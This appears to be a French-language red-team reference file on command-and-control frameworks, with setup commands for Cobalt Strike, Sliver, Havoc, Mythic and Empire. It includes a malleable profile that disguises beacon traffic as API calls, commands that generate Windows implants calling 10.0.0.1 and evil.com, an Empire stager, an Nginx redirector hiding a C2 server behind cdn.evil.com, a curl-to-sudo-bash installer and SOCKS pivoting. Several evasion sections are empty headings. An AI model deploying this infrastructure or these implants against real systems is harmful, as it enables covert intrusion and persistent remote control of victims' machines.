| name | c2-frameworks |
| description | C2 Frameworks — Cobalt Strike, Sliver, Havoc, Mythic, Nighthawk, Empire, redirection, CDN proxying, et infrastructure de command & control |
| tags | ["C2","cobalt-strike","sliver","havoc","mythic","empire","redirector","infrastructure"] |
| version | 1 |
C2 Frameworks
Guide complet des frameworks Command & Control — déploiement d'infrastructure, gestion d'agents, opérations persistantes, et évasion réseau.
1. Cobalt Strike
Installation & License
./teamserver 10.0.0.1 password c2.profile
Malleable C2 Profile
http-get {
set uri "/api/update";
client {
header "Accept" "application/json, text/plain, */*";
header "X-Requested-With" "XMLHttpRequest";
parameter "version" "{{ version }}";
metadata {
base64url;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
header "Server" "nginx/1.24.0";
output {
netbios;
prepend "{\"data\":\"";
append "\"}";
}
}
}
http-post {
set uri "/api/submit";
client {
header "Accept" "application/json";
id {
prepend "session=";
header "Cookie";
}
output {
base64url;
print;
}
}
}
Sleep Mask & Obfuscation
Aggressor Script
alias scan_port {
local('$port $host');
$port = $1;
$host = $2;
bshell($1, "Test-NetConnection -ComputerName $host -Port $port");
}
on heartbeat_30m {
beacon_cmd_all("powershell Get-Process | Where-Object {$_.SessionId -ne 0}");
}
2. Sliver (Open Source)
curl https://sliver.sh/install | sudo bash
git clone https://github.com/BishopFox/sliver
make
sudo sliver-server
sliver-server > multiplayer
sliver-server > new-operator --name operator1 --lhost 10.0.0.1
sliver > generate --mtls 10.0.0.1:443 --os windows --arch amd64 --save /tmp/implant.exe
sliver > generate --http 10.0.0.1:80 --save /tmp/implant.exe
sliver > generate --dns evil.com --save /tmp/implant.exe
sliver > profiles new --mtls 10.0.0.1:443 --canary myprofile
sliver > generate --profile myprofile --save /tmp/implant.exe
sliver > use <session-id>
sliver (implant) > shell
sliver (implant) > execute-assembly /tmp/seatbelt.exe
sliver (implant) > socks5 start
sliver (implant) > pivots
3. Havoc (Open Source)
git clone https://github.com/HavocFramework/Havoc
cd Havoc && make
./havoc server
./havoc client
4. Mythic (Open Source)
git clone https://github.com/MythicMeta/Mythic
cd Mythic
sudo make
mythic-cli install github https://github.com/MythicC2Profiles/http
mythic-cli add agent apollo
5. Empire (PowerShell/C#)
git clone https://github.com/BC-SECURITY/Empire
cd Empire && sudo ./setup/install.sh
sudo ./empire
(Empire) > usestager windows/launcher_bat
(Empire) > set Listener http
(Empire) > set OutFile /tmp/stager.bat
(Empire) > execute
6. Infrastructure C2
Redirectors (Nginx / Apache)
# Reverse proxy vers C2 server
# Nginx redirector (public facing)
server {
listen 443 ssl;
server_name cdn.evil.com;
ssl_certificate /etc/letsencrypt/live/cdn.evil.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn.evil.com/privkey.pem;
location / {
proxy_pass https://real-c2-server:443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_ssl_verify off;
}
}
Domain Fronting (CDN)
Live Hosting (Domain Fronting 2.0)
C2 via Legitimate Services
7. C2 Protocol Evasion
Traffic Normalization
Domain Rotation
C2 via DNS
8. Pivoting & Proxy
beacon > socks 1080
beacon > rportfwd 8080 10.0.0.2 80
sliver > socks5 start
sliver > pivot add --name pivot1 --bind 0.0.0.0:1080
sliver > pivots
9. OpSec
Infrastructure Hygiene
EDR Detection Avoidance
10. Tools Compendium
| Framework | Prix | Language | Type |
|---|
| Cobalt Strike | $$$ | Java/Java | Commercial |
| Sliver | Free | Go | Open Source |
| Havoc | Free | C/Go | Open Source |
| Mythic | Free | Python | Open Source |
| Empire | Free | PowerShell | Open Source |
| Nighthawk | $$ | C/C++ | Commercial |
| Brute Ratel | $$ | C/C++ | Commercial |
| PoshC2 | Free | Python | Open Source |
| DeimosC2 | Free | Go | Open Source |
11. Ressources